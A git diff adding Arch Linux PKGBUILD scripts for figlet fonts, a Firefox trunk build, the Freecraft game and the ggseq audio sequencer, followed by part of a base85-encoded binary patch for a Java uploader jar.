+optdepends=('jave: create cool ascii-art and figlets') +source=( + ftp://ftp.figlet.org/pub/figlet/fonts/ours.tar.gz + ftp://ftp.figlet.org/pub/figlet/fonts/contributed.tar.gz + ftp://ftp.figlet.org/pub/figlet/fonts/international.tar.gz + ftp://ftp.figlet.org/pub/figlet/fonts/ms-dos.tar.gz) +md5sums=('ecfc312b626df0d04936200d074d2508' + '6e2dec4499f7a7fe178522e02e0b6cd1' + 'b2d53f7e251014adcdb4d407c47f90ef' + '49aa57ab989e8d952be037414b0bbbe4') +build() { + mkdir -p ${pkgdir}/usr/share/figlet/fonts/ + cp ${srcdir}/*/* ${pkgdir}/usr/share/figlet/fonts/ + cp ${srcdir}/*/*/* ${pkgdir}/usr/share/figlet/fonts/ + + #remove figlets which are already in official distribution + ls -1 ${srcdir}/ours/ | while read i; do + rm -rf "$pkgdir/usr/share/figlet/fonts/$i"; + done; + + mkdir -p ${pkgdir}/usr/bin/ + echo '#!/bin/sh +ls /usr/share/figlet/fonts/*.flf | cut -d . -f 1 | while read i; do echo "$i.flf:"; figlet -t -f "$i" ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890; done | less +' > ${pkgdir}/usr/bin/figlet-gallery + + chmod -R 755 ${pkgdir}/ +} diff --git a/firefox-trunk/PKGBUILD b/firefox-trunk/PKGBUILD new file mode 100644 index 0000000..52c6ff3 --- /dev/null +++ b/firefox-trunk/PKGBUILD @@ -0,0 +1,67 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=firefox-trunk +pkgver=4 +pkgrel=1 +pkgdesc="Latest development version of Firefox. Also known as 'Trunk'. This can be UNSTABLE and it's only EXPERIMENTAL!" +arch=('i686' 'x86_64') +license=('GPL') +url="http://www.mozilla.org/projects/minefield/" +makedepends=( + 'mercurial' + 'autoconf-compat' + 'zip' 'pkgconfig' 'diffutils' 'libgnomeui>=2.24.0' 'python' 'xorg-server' +) +depends=( + +) + +source=( + #select one (there can be problems with some archive versions/formats): + "http://hg.mozilla.org/mozilla-central/archive/tip.tar.bz2" #smallest + #"http://hg.mozilla.org/mozilla-central/archive/tip.tar.gz" #small + #"http://hg.mozilla.org/mozilla-central/archive/tip.zip" #biggest +) + +md5sums=( + # md5sums are changing so quickly and i can't update the PKGBUILD so often... +) + + +build() { + #There is possibility to make firefox-trunk from mercurial. + #(need to be tuned...) + #cd ${srcdir} + #hg clone http://hg.mozilla.org/mozilla-central/ src + #cd ${srcdir}/src + + cd ${srcdir}/mozilla-central-* + ls -l + + #bsdtar xf + + # This was copypasted (with small differences) from: + # https://developer.mozilla.org/en/Mozilla_Source_Code_(Mercurial) + + # Generate a mozconfig yourself, or use this minimal default one + echo '. $topsrcdir/browser/config/mozconfig' > .mozconfig + + # configure will be automatically generated using the 'autoconf-2.13' + # command, except on OS X where autoconf213 will be used. + # If autoconf-2.13 isn't the right name for your system, as + # is the case on Ubuntu Linux, use the real command name as + # demonstrated below. + echo 'mk_add_options AUTOCONF=autoconf-2.13' >> .mozconfig + + # Now do the build; configure will be run automatically + make -f client.mk build || return 1 + + + + mkdir -p ${pkgdir}/opt/firefox-trunk + + #need instalation procedure here... + + chmod -R 655 ${pkgdir}/ +} diff --git a/freecraft/PKGBUILD b/freecraft/PKGBUILD new file mode 100644 index 0000000..d8c2962 --- /dev/null +++ b/freecraft/PKGBUILD @@ -0,0 +1,81 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +# Freecraft is deprecated and you should use stratagus with wargus ( http://wargus.sourceforge.net/ ) instead! +# Biggest difference from wargus is that you don't need original Warcraft 2 game to play Freecraft. + +# TODO: +# - unsure about dependencies + +pkgname=freecraft +pkgver=1.18 +pkgrel=4 +pkgdesc="Warcraft2 clone - now deprecated and replaced by Stratagus/Wargus. You can also play Original WarCraft 1 or 2 in DosBox. But you don't need files from original W2 to play FreeCraft!" +arch=('i686' 'x86_64') +license=('GPL') +url="http://www.root.cz/clanky/freecraft-the-war-begins/" +depends=( + 'libxext' 'bzip2' 'libpng' 'sdl' 'libx11' 'zlib' + # 'evas-svn' + # 'svgalib-helper' 'svgalib' 'svgalib-devel' +) + +source=( + "http://ftp.debian.org/debian/pool/main/f/freecraft/${pkgname}_${pkgver}.orig.tar.gz" + "http://ftp.debian.org/debian/pool/main/f/fcmp/fcmp_${pkgver}.20030311.orig.tar.gz" + "http://ftp.de.debian.org/debian/pool/main/f/freecraft/${pkgname}_${pkgver}-4.diff.gz" +) + +md5sums=( + 'ed59ac8bb45f3cb1334658f7e1570ea8' + 'b770c20b2088687d81116f1361d2193d' + 'a1a74bc4f72739d095b4e859c66e0ca9' + ) + + +build() { + mkdir -p ${pkgdir}/usr/local + mkdir -p ${pkgdir}/usr/share/games/freecraft/default/ + + cd ${srcdir} + + #Apply debian patch (which contains more patches xD) + patch -p0 < freecraft_${pkgver}-4.diff + + cd ${srcdir}/${pkgname}-${pkgver}/ + + #Apply Debian patches ;o) + for i in $(cat ./debian/patches/00list); do + bash "./debian/patches/$i.dpatch" -patch + done; + + #Copy data from freecraft & fcmp + cp -r ${srcdir}/${pkgname}-${pkgver}/data/* ${pkgdir}/usr/share/games/freecraft/ + cp -r ${srcdir}/fcmp-${pkgver}.20030311/data/* ${pkgdir}/usr/share/games/freecraft/default/ + + #Compile + ./setup || return 1 + make install PREFIX="${pkgdir}/usr/" || return 1 + + #Launcher + mkdir -p ${pkgdir}/usr/bin + echo '#!/bin/sh + /usr/games/freecraft $@' > ${pkgdir}/usr/bin/${pkgname} + chmod -R 655 ${pkgdir}/usr/bin/${pkgname} + + mkdir -p ${pkgdir}/usr/share/applications + #Desktop Launcher + echo '[Desktop Entry] +Version=1.0 +Encoding=UTF-8 +Name=FreeCraft +GenericName=FreeCraft +Comment=Warcraft 2 style real-time strategy game +Exec=/usr/games/freecraft +Icon=freecraft +StartupNotify=true +Terminal=false +Type=Application +Categories=Game;' > ${pkgdir}/usr/share/applications/freecraft.desktop + +} diff --git a/ggseq/PKGBUILD b/ggseq/PKGBUILD new file mode 100644 index 0000000..9907388 --- /dev/null +++ b/ggseq/PKGBUILD @@ -0,0 +1,31 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=ggseq +pkgver=0.3.1 +_gg_arch='i386' +pkgrel=1 +pkgdesc='GunGirl Sequencer is an easy to use Audiosequencer. It includes a simple Filemanager and uses Drag & Drop to arrange Audiosamples.' +url='http://ggseq.sourceforge.net/' +license='GPL' +arch=('i686') +depends=('jack-audio-connection-kit') +source=("http://downloads.sourceforge.net/sourceforge/${pkgname}/${pkgname}-${pkgver}-${_gg_arch}.tar.gz") +md5sums=('2ebdd4d0bba14d9d3aa589a25732c6f4') + +build() { + cd "${srcdir}/${pkgname}-${pkgver}-${_gg_arch}" + + mkdir -p ${pkgdir}/usr/bin/ + cp ggseq ${pkgdir}/usr/bin/ggseq + + mkdir -p ${pkgdir}/usr/share/icons/ + cp ggseq_32.xpm ${pkgdir}/usr/share/icons/ggseq_32.xpm + + mkdir -p ${pkgdir}/usr/share/applications/ + cp ggseq.desktop ${pkgdir}/usr/share/applications/ggseq.desktop + + #Rights + chmod -R 755 ${pkgdir} +} diff --git a/google-video-uploader/GoogleVideoUploader.jar b/google-video-uploader/GoogleVideoUploader.jar new file mode 100644 index 0000000000000000000000000000000000000000..08dee51c917a69015173f23568674f184d8c58dd GIT binary patch literal 102699 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 